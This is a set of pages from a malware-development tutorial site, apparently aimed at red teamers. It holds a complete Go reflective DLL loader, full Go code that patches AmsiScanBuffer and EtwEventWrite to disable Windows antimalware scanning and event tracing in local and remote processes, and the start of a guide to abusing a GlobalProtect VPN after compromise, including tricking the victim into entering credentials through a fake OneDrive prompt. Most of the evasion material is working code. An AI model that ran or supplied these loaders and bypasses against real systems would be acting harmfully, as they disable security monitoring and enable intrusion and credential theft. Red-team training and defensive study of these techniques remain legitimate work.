IMAGE_FILE_HEADER OptionalHeader IMAGE_OPTIONAL_HEADER64 } // IMAGE_OPTIONAL_HEADER64 represents the optional header for 64-bit architecture. type IMAGE_OPTIONAL_HEADER64 struct { Magic uint16 MajorLinkerVersion uint8 MinorLinkerVersion uint8 SizeOfCode uint32 SizeOfInitializedData uint32 SizeOfUninitializedData uint32 AddressOfEntryPoint uint32 BaseOfCode uint32 ImageBase uint64 SectionAlignment uint32 FileAlignment uint32 MajorOperatingSystemVersion uint16 MinorOperatingSystemVersion uint16 MajorImageVersion uint16 MinorImageVersion uint16 MajorSubsystemVersion uint16 MinorSubsystemVersion uint16 Win32VersionValue uint32 SizeOfImage uint32 SizeOfHeaders uint32 CheckSum uint32 Subsystem uint16 DllCharacteristics uint16 SizeOfStackReserve uint64 SizeOfStackCommit uint64 SizeOfHeapReserve uint64 SizeOfHeapCommit uint64 LoaderFlags uint32 NumberOfRvaAndSizes uint32 DataDirectory [16]IMAGE_DATA_DIRECTORY } // IMAGE_DATA_DIRECTORY represents a data directory entry. type IMAGE_DATA_DIRECTORY struct { VirtualAddress uint32 Size uint32 } // IMAGE_FILE_HEADER represents the file header in the IMAGE_NT_HEADERS structure. type IMAGE_FILE_HEADER struct { Machine uint16 NumberOfSections uint16 TimeDateStamp uint32 PointerToSymbolTable uint32 NumberOfSymbols uint32 SizeOfOptionalHeader uint16 Characteristics uint16 } type IMAGE_SECTION_HEADER struct { Name [8]byte VirtualSize uint32 VirtualAddress uint32 SizeOfRawData uint32 PointerToRawData uint32 PointerToRelocations uint32 PointerToLinenumbers uint32 NumberOfRelocations uint16 NumberOfLinenumbers uint16 Characteristics uint32 } type BASE_RELOCATION_BLOCK struct { PageAddress uint32 BlockSize uint32 } // BASE_RELOCATION_ENTRY represents the base relocation entry structure type BASE_RELOCATION_ENTRY struct { OffsetType uint16 // Combined field for Offset and Type } // Offset extracts the Offset from the combined field func (bre BASE_RELOCATION_ENTRY) Offset() uint16 { return bre.OffsetType & 0xFFF } // Type extracts the Type from the combined field func (bre BASE_RELOCATION_ENTRY) Type() uint16 { return (bre.OffsetType >> 12) & 0xF } type IMAGE_IMPORT_DESCRIPTOR struct { Characteristics uint32 TimeDateStamp uint32 ForwarderChain uint32 Name uint32 FirstThunk uint32 } func uintptrToBytes(ptr uintptr) []byte { // Create a pointer to the uintptr value ptrPtr := unsafe.Pointer(&ptr) // Convert the pointer to a byte slice byteSlice := make([]byte, unsafe.Sizeof(ptr)) for i := 0; i < int(unsafe.Sizeof(ptr)); i++ { byteSlice[i] = *(*byte)(unsafe.Pointer(uintptr(ptrPtr) + uintptr(i))) } return byteSlice } const ( IMAGE_DIRECTORY_ENTRY_IMPORT = 0x1 IMAGE_DIRECTORY_ENTRY_BASERELOC = 0x5 DLL_PROCESS_ATTACH = 0x1 ) func main() { fmt.Println() dllBytes, err := os.ReadFile("mydll.dll") if err != nil { log.Fatalf("Failed to open file %v", err) } dllPtr := uintptr(unsafe.Pointer(&dllBytes[0])) fmt.Printf("[+] DLL of size %d is loaded in memory at 0x%x\n", len(dllBytes), dllPtr) e_lfanew := *((*uint32)(unsafe.Pointer(dllPtr + 0x3c))) nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(dllPtr + uintptr(e_lfanew))) dllBase, err := windows.VirtualAlloc(uintptr(nt_header.OptionalHeader.ImageBase), uintptr(nt_header.OptionalHeader.SizeOfImage), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_EXECUTE_READWRITE, ) if err != nil { log.Fatalf("[!] VirtualAlloc Failed") } fmt.Printf("[+] Allocated address at 0x%x\n\n", dllBase) var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase, &dllBytes[0], uintptr(nt_header.OptionalHeader.SizeOfHeaders), &numberOfBytesWritten) if err != nil { log.Fatalf("[!] WriteProcessMemory Failed") } numberOfSections := int(nt_header.FileHeader.NumberOfSections) var sectionAddr uintptr sectionAddr = dllPtr + uintptr(e_lfanew) + unsafe.Sizeof(nt_header.Signature) + unsafe.Sizeof(nt_header.OptionalHeader) + unsafe.Sizeof(nt_header.FileHeader) for i := 0; i < numberOfSections; i++ { section := (*IMAGE_SECTION_HEADER)(unsafe.Pointer(sectionAddr)) sectionDestination := dllBase + uintptr(section.VirtualAddress) sectionBytes := (*byte)(unsafe.Pointer(dllPtr + uintptr(section.PointerToRawData))) fmt.Printf("[+] Copying %d bytes from 0x%x -> 0x%x for section : %s", section.SizeOfRawData, dllPtr+uintptr(section.PointerToRawData), sectionDestination, windows.ByteSliceToString(section.Name[:])) err = windows.WriteProcessMemory(windows.CurrentProcess(), sectionDestination, sectionBytes, uintptr(section.SizeOfRawData), &numberOfBytesWritten) if err != nil { log.Fatalf("[!] WriteProcessMemory Failed: %v \n", err) } fmt.Printf(" ... Bytes 0x%x/0x%x Written\n", section.SizeOfRawData, numberOfBytesWritten) if windows.ByteSliceToString(section.Name[:]) == ".text" { var oldprotect uint32 err := windows.VirtualProtect(sectionDestination, uintptr(section.SizeOfRawData), windows.PAGE_EXECUTE_READ, &oldprotect) if err != nil { log.Fatalln("[ERROR] Failed to change memory permissions") } } sectionAddr += unsafe.Sizeof(*section) } fmt.Println() relocations := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] relocation_table := uintptr(relocations.VirtualAddress) + dllBase fmt.Printf("[+] Relocation table Address: 0x%x\n\n", relocation_table) var relocations_processed int = 0 deltaImageBase := dllBase - uintptr(nt_header.OptionalHeader.ImageBase) for { relocation_block := *(*BASE_RELOCATION_BLOCK)(unsafe.Pointer(uintptr(relocation_table + uintptr(relocations_processed)))) relocEntry := relocation_table + uintptr(relocations_processed) + 8 if relocation_block.BlockSize == 0 && relocation_block.PageAddress == 0 { break } relocationsCount := (relocation_block.BlockSize - 8) / 2 fmt.Printf("[+] PAGERVA : 0x%04x Size: 0x%02x Entries Count: 0x%02x\n", relocation_block.PageAddress, relocation_block.BlockSize, relocationsCount) relocationEntries := make([]BASE_RELOCATION_ENTRY, relocationsCount) for i := 0; i < int(relocationsCount); i++ { relocationEntries[i] = *(*BASE_RELOCATION_ENTRY)(unsafe.Pointer(relocEntry + uintptr(i*2))) } for _, relocationEntry := range relocationEntries { if relocationEntry.Type() == 0 { continue } fmt.Printf(" --> Value: %X Offset: %x\n", relocationEntry.OffsetType, relocationEntry.Offset()) var size uintptr byteSlice := make([]byte, unsafe.Sizeof(size)) relocationRVA := relocation_block.PageAddress + uint32(relocationEntry.Offset()) err = windows.ReadProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &byteSlice[0], unsafe.Sizeof(size), nil) if err != nil { log.Fatalf("[ERROR] Failed to ReadProcessMemory") } addressToPatch := uintptr(binary.LittleEndian.Uint64(byteSlice)) addressToPatch += deltaImageBase a2Patch := uintptrToBytes(addressToPatch) err = windows.WriteProcessMemory(windows.CurrentProcess(), dllBase+uintptr(relocationRVA), &a2Patch[0], uintptr(len(a2Patch)), nil) if err != nil { log.Fatalf("[ERROR] Failed to WriteProcessMemory") } } relocations_processed += int(relocation_block.BlockSize) } //time.Sleep(10 * time.Second) importsDirectory := nt_header.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT] importDescriptorAddr := dllBase + uintptr(importsDirectory.VirtualAddress) fmt.Printf("[+] Import Descripton address: 0x%x\n\n", importDescriptorAddr) for { importDescriptor := *(*IMAGE_IMPORT_DESCRIPTOR)(unsafe.Pointer(importDescriptorAddr)) if importDescriptor.Name == 0 { break } libraryName := uintptr(importDescriptor.Name) + dllBase dllName := windows.BytePtrToString((*byte)(unsafe.Pointer(libraryName))) fmt.Printf("[+] Importing DLL : %s\n", dllName) hLibrary, err := windows.LoadLibrary(dllName) if err != nil { log.Fatalln("[ERROR] LoadLibrary Failed") } addr := dllBase + uintptr(importDescriptor.FirstThunk) //char := dllBase + uintptr(importDescriptor.Characteristics) //fmt.Printf("First Thunk: 0%x\n", addr) //fmt.Printf("Chars: 0%x\n", char) for { thunk := *(*uint16)(unsafe.Pointer(addr)) if thunk == 0 { break } functionNameAddr := dllBase + uintptr(thunk+2) functionName := windows.BytePtrToString((*byte)(unsafe.Pointer(functionNameAddr))) proc, err := windows.GetProcAddress(hLibrary, functionName) if err != nil { log.Fatalln("[ERROR] Failed to GetProcAddress") } fmt.Printf(" --> Importing Function %s -> Addr: 0x%x\n", functionName, proc) procBytes := uintptrToBytes(proc) // https://reverseengineering.stackexchange.com/questions/16870/import-table-vs-import-address-table var numberOfBytesWritten uintptr err = windows.WriteProcessMemory(windows.CurrentProcess(), addr, &procBytes[0], uintptr(len(procBytes)), &numberOfBytesWritten) if err != nil { log.Fatalln("[ERROR] Failed to WriteProcessMemory") } addr += 0x8 } importDescriptorAddr += 0x14 } //fmt.Printf("BreakPoint %x", dllBase+0x1251) //time.Sleep(time.Second * 10) syscall.SyscallN(dllBase+uintptr(nt_header.OptionalHeader.AddressOfEntryPoint), dllBase, DLL_PROCESS_ATTACH, 0) fmt.Println("[+] DLL function executed") err = windows.VirtualFree(dllBase, 0x0, windows.MEM_RELEASE) if err != nil { log.Fatalln("[ERROR] Failed to Free Memory") } fmt.Printf("[+] Freed Memory at 0x%x\n", dllBase) } [](https://www.scriptchildie.com/code-injection-techniques/dll-injection/2.-reflective-dll-injection#references) References -------------------------------------------------------------------------------------------------------------------------------- \[1\] [https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection) \[2\] [https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm](https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm) \[3\] [https://0xrick.github.io/categories/#win-internals](https://0xrick.github.io/categories/#win-internals) \[4\] [https://github.com/scriptchildie/goDLLrefletiveloader](https://github.com/scriptchildie/goDLLrefletiveloader) Last updated 1 year ago Was this helpful? --- # 5. AMSI Bypass | Malware Development [The Windows Antimalware Scan Interface (AMSI)](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads. ### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#windows-components-that-integrate-with-amsi) [Windows components that integrate with AMSI](https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal#windows-components-that-integrate-with-amsi) The AMSI feature is integrated into these components of Windows 10. * User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) * PowerShell (scripts, interactive use, and dynamic code evaluation) * Windows Script Host (wscript.exe and cscript.exe) * JavaScript and VBScript * Office VBA macros ### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#example) Example So how does the above actually look like in real life? PowerShell will let us know when something is flagged as malicious by amsi. So let's send the string "AmsiScanBuffer" that is known to be flagged as malicious. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FfKbZakqrtHOP52cUiSMs%252Fimage.png%3Falt%3Dmedia%26token%3D279c9f7c-e77e-4e01-9c5d-ac610daa511a&width=768&dpr=4&quality=100&sign=384f3fd2&sv=2) "AmsiScanBuffer" contains malicious content We then run our bypass code to see what's the effect. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FCFmHtXX8qUhEeLnJ7Nkj%252Fimage.png%3Falt%3Dmedia%26token%3Daf7d38b4-a1b8-4e69-94fd-7ae202a4177f&width=768&dpr=4&quality=100&sign=a6944231&sv=2) Successfully bypassed After running the amsi bypass code, we send the "AmsiScanBuffer" string again but the second time instead of getting the same message that our script is malicious we get "CommandNotFoundException". We successfully bypassed AMSI. ### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#area-of-focus) Area of focus Microsoft is kind enough to document some of the exposed APIs in "amsi.dll". The [AmsiResultIsMalware](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiresultismalware) page mentions that the AMSI\_RESULT is returned by AmsiScanBuffer or AmsiScanString. We therefore turn our focus to these two functions. Dumping amsi.dll in IDA shows that AmsiScanString is a wrapper function for AmsiScanBuffer. So to completely bypass amsi all we need to do is to patch AmsiScanBuffer. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FRl6umzfzoE8OCHk41eE2%252Fimage.png%3Falt%3Dmedia%26token%3Dc34f6d4b-a23f-4fa5-8df3-4d0ec0239a70&width=768&dpr=4&quality=100&sign=ba51a307&sv=2) AmsiScanString is a wrapper function for AmsiScanBuffer ### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#amsiscanbuffer) [AmsiScanBuffer](https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer) Let's Have a quick look at the function definition by microsoft Copy HRESULT AmsiScanBuffer( [in] HAMSICONTEXT amsiContext, [in] PVOID buffer, [in] ULONG length, [in] LPCWSTR contentName, [in, optional] HAMSISESSION amsiSession, [out] AMSI_RESULT *result ); What we care about is the last argument where the [AMSI\_RESULT](https://learn.microsoft.com/en-us/windows/win32/api/amsi/ne-amsi-amsi_result) is stored. In the remarks section it is stated "_Any return result equal to or larger than 32768 is considered malware, and the content should be blocked. An app should use_ [_AmsiResultIsMalware_](https://learn.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiresultismalware) _to determine if this is the case._" This leaves us with two options, either manipulate AmsiScanBuffer to return a value less than 32768 or manipulate AmsiResultIsMalware to return that our script is not malicious even if the value is higher than 32768. Having a quick look in the Exported functions of the dll we can see that AmsiResultIsMalware is not exported. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FeYd6FyV6IBQRzGIp5igR%252Fimage.png%3Falt%3Dmedia%26token%3D946fdf67-17c3-4b0a-9738-5ea8cd3d30a2&width=768&dpr=4&quality=100&sign=45169cd3&sv=2) Exported functions of amsi.dll It is then very difficult to find the exact address of this function. We could calculate the offset from the base address of the dll and then hardcode it in our code, but it would most likely work only against our current version of windows only. Any future changes to the dll will break our bypass code. #### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#how-do-we-get-amsiscanbuffer-to-return-a-value-lower-than-32768) How do we get AmsiScanBuffer to return a value lower than 32768? Let's open windbg to check how we could potentially patch the dll to return a non malicious AMSI\_RESULT. Firstly we set a breakpoint to the entrypoint of the AmsiScanBuffer function using this command: `bp amsi!AmsiScanBuffer` We need to find where the result is stored. We can get that from the stack as shown below: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F2ybd1yvxAja35UirL6E4%252Fimage.png%3Falt%3Dmedia%26token%3D0ec99fe6-3c19-4d3f-a184-6c9ee18bfe67&width=768&dpr=4&quality=100&sign=eb35138f&sv=2) The address of the result will be stored rbp from the stack Let's run `ipconfig` in powershell and check what is the value of AMSI\_RESULT at the function entry and when it returns. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FIV04M1GUJanHLRryGx94%252Fimage.png%3Falt%3Dmedia%26token%3Df6148c3d-a99a-4cc4-bea0-468a83620d12&width=768&dpr=4&quality=100&sign=182d5755&sv=2) Breakpoint hit Copy 0:006> dq 00000001017cea28 L1 00000001`017cea28 00000000`00000000 0:006> pt amsi!AmsiScanBuffer+0xf5: 00007ff9`7f068355 c3 ret 0:006> dq 00000001017cea28 L1 00000001`017cea28 00000000`00000001 00000001017cea28 is where the result will be stored. When we enter the the AmsiScanBuffer function the value is 0. Just before the function returns the value is 1. Let's compare the values when a malicious string is sent. Copy 0:006> dq 00000001017cea28 L1 00000001`017cea28 00000000`00000000 0:006> pt amsi!AmsiScanBuffer+0xf5: 00007ff9`7f068355 c3 ret 0:006> dq 00000001017cea28 L1 00000001`017cea28 00000000`00008000 0:006> ?00008000 Evaluate expression: 32768 = 00000000`00008000 We can now see that the value 32768 and therefore the value is malicious. It is clear now that if we return immediately after the function enters the AMSI\_RESULT will be 0. This value will be anomalous since the minimum value of AMSI\_RESULT is 1. But then again 0 is lower than 32768. Since AmsiResultIsMalware doesn't validate the minimum value, our patch successfully bypasses amsi. A slightly different approach is used by [rastamouse](https://twitter.com/_RastaMouse) . I would suggest reading his article on [how to patch amsi](https://rastamouse.me/memory-patching-amsi-bypass/) . ### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#writing-the-patch) Writing the Patch The hex equivalent of return is `c3` . We will write the address at the entry point of the function. The approach is similar to the one of [process injection](https://www.scriptchildie.com/code-injection-techniques/shellcode-injection/1.-classic-shellcode-injection) & [shellcode runner](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) . #### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#patching-the-current-process) Patching the current process. This is useful when C# code will be running within our golang process for example. See [https://github.com/Ne0nd0g/go-clr](https://github.com/Ne0nd0g/go-clr) . Since patching could be used to patch other functions such as `EtwEventWrite` a function that receives 2 arguments will be written. The first argument will be the destination address and the second a byte slice that will hold the patch. Copy // Write a patch locally func PatchLocal(address uintptr, patch []byte) error { // Add write permissions var oldprotect uint32 err := windows.VirtualProtect(address, uintptr(len(patch)), windows.PAGE_EXECUTE_READWRITE, &oldprotect) if err != nil { return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err) } modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") // Write Patch procrtlMoveMemory.Call(address, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch))) fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address) // Restore memory permissions err = windows.VirtualProtect(address, uintptr(len(patch)), oldprotect, &oldprotect) if err != nil { return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err) } return nil } * Line 5: Since the memory address will most likely have RX rights we should first assign write access to that memory using VirtualProtect . * Line 13: We then go ahead and call rtlMoveMemory to write our patch to the destination address. * Line 17: We then restore the memory permissions using VirtualProtect The wrapper function to patch AmsiScanBuffer in the current process: Copy func patchAmsiLocal() error { fmt.Println("[+] Patching AmsiScanBuffer -- Local Process") amsidll, _ := syscall.LoadLibrary("amsi.dll") procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer") patch := []byte{0xc3} err := PatchLocal(procAmsiScanBuffer, patch) if err != nil { return err } fmt.Println("[SUCCESS] Patched AmsiScanBuffer -- Local Process") return nil } * Lines 3-4: we get the address of the function * Line 6: We have the return equivalent in hex 0xc3 * We call our PatchLocal function to write 0xc3 at the beginning of AmsiScanBuffer #### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#patching-remote-process) Patching remote process This is useful when a c2 spawns a powershell process and feeds it commands through the c2. The dlls are loaded in the same address in every process on windows. So figuring out the address locally essentially gives us the address we need to patch on the remote process. Once again we create a function that will receive 3 arguments. First argument will be the PID of the process to patch (in our case powershell) , the destionation address and the patch byte slice. Copy // Write a patch on a remote process func PatchRemote(pid uint32, address uintptr, patch []byte) error { // Get handle on remote process pHandle, err := windows.OpenProcess( windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, pid) if err != nil { return fmt.Errorf("[ERROR] Unable to get a handle on process %d, %v", pid, err) } // Write to process memory var numberOfBytesWritten uintptr err = windows.WriteProcessMemory( pHandle, address, &patch[0], uintptr(len(patch)), &numberOfBytesWritten) if err != nil { return fmt.Errorf("[ERROR] WriteProcessMemory failed, %v", err) } fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address) return nil } * line 6: We get a handle on the remote process * line 16: We use WriteProcessMemorywin API to write the patch to the destination address. WriteProcessMemory takes care of the permissions so no need to use VirtualAllocEx to assign write permissions. The AMSI patching wrapper function is shown below: Copy func patchAmsiRemote(pid uint32) error { fmt.Printf("[+] Patching AmsiScanBuffer -- Remote Process PID: %d \n", pid) amsidll, _ := syscall.LoadLibrary("amsi.dll") procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer") patch := []byte{0xc3} err := PatchRemote(pid, procAmsiScanBuffer, patch) if err != nil { return err } fmt.Printf("[SUCCESS] Patched AmsiScanBuffer -- Remote Process PID: %d \n", pid) return nil } ### [](https://www.scriptchildie.com/evasion/av-bypass/5.-amsi-bypass#complete-code) Complete Code: The code includes functions to [patch ETW](https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/) as well. Copy package main import ( "fmt" "log" "syscall" "unsafe" "golang.org/x/sys/windows" ) func main() { pid := uint32(9452) err := patchAmsiRemote(pid) if err != nil { log.Fatalf("%v", err) } } func patchAmsiLocal() error { fmt.Println("[+] Patching AmsiScanBuffer -- Local Process") amsidll, _ := syscall.LoadLibrary("amsi.dll") procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer") patch := []byte{0xc3} err := PatchLocal(procAmsiScanBuffer, patch) if err != nil { return err } fmt.Println("[SUCCESS] Patched AmsiScanBuffer -- Local Process") return nil } func patchEtwLocal() error { fmt.Println("[+] Patching EtwEventWrite -- Local Process") ntdll, _ := syscall.LoadLibrary("ntdll.dll") procEtwEventWrite, _ := syscall.GetProcAddress(ntdll, "EtwEventWrite") patch := []byte{0xC3} err := PatchLocal(procEtwEventWrite, patch) if err != nil { return err } fmt.Println("[SUCCESS] Patched EtwEventWrite -- Local Process") return nil } func patchAmsiRemote(pid uint32) error { fmt.Printf("[+] Patching AmsiScanBuffer -- Remote Process PID: %d \n", pid) amsidll, _ := syscall.LoadLibrary("amsi.dll") procAmsiScanBuffer, _ := syscall.GetProcAddress(amsidll, "AmsiScanBuffer") patch := []byte{0xc3} err := PatchRemote(pid, procAmsiScanBuffer, patch) if err != nil { return err } fmt.Printf("[SUCCESS] Patched AmsiScanBuffer -- Remote Process PID: %d \n", pid) return nil } func patchEtwRemote(pid uint32) error { fmt.Printf("[+] Patching EtwEventWrite -- Remote Process PID: %d \n", pid) ntdll, _ := syscall.LoadLibrary("ntdll.dll") procEtwEventWrite, _ := syscall.GetProcAddress(ntdll, "EtwEventWrite") patch := []byte{0xC3} err := PatchRemote(pid, procEtwEventWrite, patch) if err != nil { return err } fmt.Printf("[SUCCESS] Patched EtwEventWrite -- Remote Process PID: %d \n", pid) return nil } // Write a patch locally func PatchLocal(address uintptr, patch []byte) error { // Add write permissions var oldprotect uint32 err := windows.VirtualProtect(address, uintptr(len(patch)), windows.PAGE_EXECUTE_READWRITE, &oldprotect) if err != nil { return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err) } modntdll := syscall.NewLazyDLL("Ntdll.dll") procrtlMoveMemory := modntdll.NewProc("RtlMoveMemory") // Write Patch procrtlMoveMemory.Call(address, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch))) fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address) // Restore memory permissions err = windows.VirtualProtect(address, uintptr(len(patch)), oldprotect, &oldprotect) if err != nil { return fmt.Errorf("[Error] Failed to change memory permissions for 0x%x: %v", address, err) } return nil } // Write a patch on a remote process func PatchRemote(pid uint32, address uintptr, patch []byte) error { // Get handle on remote process pHandle, err := windows.OpenProcess( windows.PROCESS_VM_WRITE|windows.PROCESS_VM_OPERATION, false, pid) if err != nil { return fmt.Errorf("[ERROR] Unable to get a handle on process %d, %v", pid, err) } // Write to process memory var numberOfBytesWritten uintptr err = windows.WriteProcessMemory( pHandle, address, &patch[0], uintptr(len(patch)), &numberOfBytesWritten) if err != nil { return fmt.Errorf("[ERROR] WriteProcessMemory failed, %v", err) } fmt.Printf("[+] Wrote patch at destination address 0x%x\n", address) return nil } Last updated 2 years ago Was this helpful? --- # 1. Global Protect Abuse 1/2 | Malware Development [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#introduction) Introduction ------------------------------------------------------------------------------------------------------------------------------------------------------------ The motivation for this blog comes after attending a Mandiant social gathering in London. The presenter, Rohan ([@Decode141](https://twitter.com/Decode141) ), described how the VPN could be abused to join an attacker controlled machine on the target Network after initial access is achieved. In this blog I will explore how we can abuse Palo Alto's Global Protect to achieve just that. [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#pre-requisites) Pre-Requisites ---------------------------------------------------------------------------------------------------------------------------------------------------------------- * Initial foothold is required * [User Certificate](https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000ClIICA0) * VPN configuration details * User Credentials [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#initial-foothold) Initial foothold -------------------------------------------------------------------------------------------------------------------------------------------------------------------- For the sake of simplicity we will assume that we compromised a user and we have a sliver session on the target machine. Anything demonstrated below can be achieved using a C2 of your choice since most functionality comes from Beacon Object Files and C# executables. [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#user-credentials) User Credentials -------------------------------------------------------------------------------------------------------------------------------------------------------------------- Once we have a foothold on the target machine we could capture user credentials in a number of different ways. The easiest way is to just ask for them :) Let's see how that's done using sliver. Armory offers a wide range of [Beacon Object Files (bof)](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm#:~:text=A%20Beacon%20Object%20File%20(BOF,with%20new%20post%2Dexploitation%20features.) that are officially supported by sliver. Luckily for us [`c2tc-askcreds`](https://github.com/outflanknl/C2-Tool-Collection/tree/main/BOF/Askcreds) bof prompts the victim for their credentials. When the command is executed the following prompt will appear on their desktop: OneDrive.exe is specified from the bof. That could be anything but something that is relevant to the user would be ideal. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FRgoyunj0kj3vXDh98xWq%252Fimage.png%3Falt%3Dmedia%26token%3Dcd66ac32-1d59-46d4-ac08-95eedf747bd8&width=768&dpr=4&quality=100&sign=7325b2be&sv=2) AskCreds prompt This is how it looks from the attacker's perspective: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FlBuICzaaUFAWBM0tWzB3%252Fimage.png%3Falt%3Dmedia%26token%3D533a5a30-b755-405a-93a2-5bf9897020f4&width=768&dpr=4&quality=100&sign=114b1682&sv=2) Captured Credentials Please note that this bof doesn't validate if the credentials are correct. [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#global-protect-enumeration) Global Protect Enumeration ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.scriptchildie.com/evasion/edr-bypass/3.-vpn-abuse-for-endpoint-protection-evasion/1.-global-protect-abuse-1-2#gui) GUI The easiest way to obtain information regarding the VPN is through the client app installed on the host machine. The portal login page can be identified by the settings button as shown below: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FafUFPVbxZ6mxbOqRRsEE%252Fimage.png%3Falt%3Dmedia%26token%3D3557fb2d-3243-4ec6-999d-22e972c3407d&width=768&dpr=4&quality=100&sign=6ff46935&sv=2) Portal Information Potential gateways to connect to are identified in the Connection Tab: ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FNRdhLinChtSNG8Oeif7u%252Fimage.png%3Falt%3Dmedia%26token%3D6560e9bc-b922-4d4c-b4b9-0f60211dd531&width=768&dpr=4&quality=100&sign=4d247b5f&sv=2) Gateways Information on the Host Profile on the respective tab. That will help us identify what sort of endpoint configuration / hardening we will need prior to a connection to the target network. If the endpoint doesn't meet the minimum requirements it might be isolated from the target network even though a successful connection was established. 